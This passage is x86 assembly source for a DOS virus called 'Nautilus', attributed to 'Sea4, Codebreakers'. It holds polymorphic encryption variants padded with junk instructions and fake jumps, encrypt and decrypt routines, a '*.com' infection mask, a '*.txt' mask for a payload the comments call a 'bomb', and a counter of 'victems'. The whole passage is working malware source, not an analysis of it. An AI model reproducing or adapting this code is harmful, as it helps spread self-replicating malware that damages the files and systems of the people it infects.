rol  al,cl                    ; 2
cld                           ; 1
                              ; = 14

Pos2CR4:
cmp  al,12h                   ; 2
jne  Fakejmp                  ; 2
Fakejmp:
sti                           ; 1
cld                           ; 1
rol  al,cl                    ; 2
nop                           ; 1
nop                           ; 1
xor  al,ch                    ; 2
rol  al,cl                    ; 2
                              ; = 14

PosCR5:
cld                           ; 1
ror  al,cl                    ; 2
xor  al,ch                    ; 2
not  al                       ; 2
nop                           ; 1
nop                           ; 1
xor  al,ch                    ; 2
nop                           ; 1
ror  al,cl                    ; 2
                              ; = 14

Pos2CR5:
ror  al,cl                    ; 2
xor  al,ch                    ; 2
rol  al,cl                    ; 2
not  al                       ; 2
rol  al,cl                    ; 2
xor  al,ch                    ; 2
ror  al,cl                    ; 2
                              ; = 14

PosCR6:
xor  al,ch                    ; 2
nop                           ; 1
xchg bx,dx                    ; 2
nop                           ; 1
nop                           ; 1
ror  al,cl                    ; 2
stc                           ; 1
xor  al,ch                    ; 2
xchg bx,dx                    ; 2
                              ; = 14

Pos2CR6:
rol  al,cl                    ; 2
xor  al,ch                    ; 2
nop                           ; 1
xor  al,0D8h                  ; 2
cmp  al,4h                    ; 2
xor  al,ch                    ; 2
sti                           ; 1
rol  al,cl                    ; 2
                              ; = 14

PosCR7:
xor  al,ch                    ; 2
cmp  al,4h                    ; 2
jne  FakeJmp2                 ; 2
stc                           ; 1
FakeJmp2:
sti                           ; 1
stc                           ; 1
cld                           ; 1
xchg bx,ax                    ; 1
xchg bx,ax                    ; 1
stc                           ; 1
nop                           ; 1
                              ; = 14

Pos2CR7:
rol  al,cl                    ; 2
xor  al,ch                    ; 2
rol  al,cl                    ; 2
not  al                       ; 2
rol  al,cl                    ; 2
xor  al,ch                    ; 2
rol  al,cl                    ; 2
                              ; = 14

PosCR8:
xor  al,ch                    ; 2
rol  al,cl                    ; 2
xor  al,ch                    ; 2
not  al                       ; 2
xor  al,ch                    ; 2
rol  al,cl                    ; 2
xor  al,ch                    ; 2
                              ; = 14

Pos2CR8:
xor  al,ch                    ; 2
rol  al,cl                    ; 2
xor  al,0C7h                  ; 2
neg  al                       ; 2
xor  al,0C7h                  ; 2
rol  al,cl                    ; 2
xor  al,ch                    ; 2
                              ; = 14


EndMorphs:

filemask  db   '*.com',0      ; The type of files we are gonna infect.
textmask  db   '*.txt',0      ; Text files to find when bomb goes off
dos_mask  db   'dos',0        ; Mask for finding DOS
win_mask  db   'windows',0    ; Mask for finding Windows
win_com   db   'command',0    ; Mask for finding .\windows\command
dot_dot   db   '..',0         ; Mask for previous directory.


saved     db   0CDh,020h,0h   ; This is the storage space for the first
                              ; three bytes from the infected file. CD20 is
                              ; the 'int 20h' instruction used to exit.


Infectedby     db   'Sea4         '     ; Place to keep virus lineage
MyName         db   'Nautilus.com '     ; Current infected file

Virus_Name     db   '[Nautilus]',0
Author         db   'Sea4, Codebreakers',0

textlen   EQU DCryptie-Line1

; Below is the first sentence of the Jules Verne classic from whence I got
; the name of this virus. "Twenty Thousand Leagues Under the Sea"

line1  db 'The year 1866 was made notable by a series of bizarre',CR,LF
line2  db 'events, a chain of mysterious phenomena which have never',CR,LF
line3  db 'been explained, that I am sure no one has forgotten.',CR,LF

CR   EQU 0Dh
LF   EQU 0Ah    ; Carrige Return Line Feed ( next line )

DCryptie:
lodsb                    ; Gets next byte Doomed for De/Encryption
xchg dx,cx               ; Saves the count while using the DE/ENcrypt value
MorphD1:
db   14 dup    90h       ; The encryption instructions will be at most
                         ; 14 bytes long.
xchg dx,cx               ; Returns the count value to CX
stosb                    ; Puts the encrypted byte into mem
loop DCryptie            ; Does all the bytes specified by CX
ret                      ; Jumps back to the caller

Xor2Val   db   00h  ; Xor value to be used in DCryptie
DecVal2   db   00h  ; Decrypt value 2
EncVal2   db   00h  ; Encrypt value 2

Cryptie:
lodsb                    ; Gets the next byte to De/Encrypt
xchg dx,cx
MorphD2:
db   14 dup    90h       ; The encryption instructions will be at most
                         ; 14 bytes long.
xchg dx,cx
stosb                    ; Plugs AL back into mem
loop Cryptie             ; Does all the bytes specified by CX
ret                      ; Jumps back to where it was called

Xor1Val   db   00h  ; Xor value to be used in Cryptie
DecVal1   db   00h  ; Decrypt value 1
EncVal1   db   00h  ; Encrypt value 1

ende:
; Here is a buffer specifically for file attributes/date/time/size
; It is not saved with the virus, so it doesn't actually take up mem. :)
; Just the offsets are used.
s_attr    db   0h        ; File attributes
s_time    dw   0h        ; Saved Time Last Modified
s_date    dw   0h        ; Saved Date Last Modified
s_size    dd   0h        ; Size of file ( before modification)
Victems   db   00h       ; Place to keep count of victems
CurDIR    db 64 DUP (90)
buffer: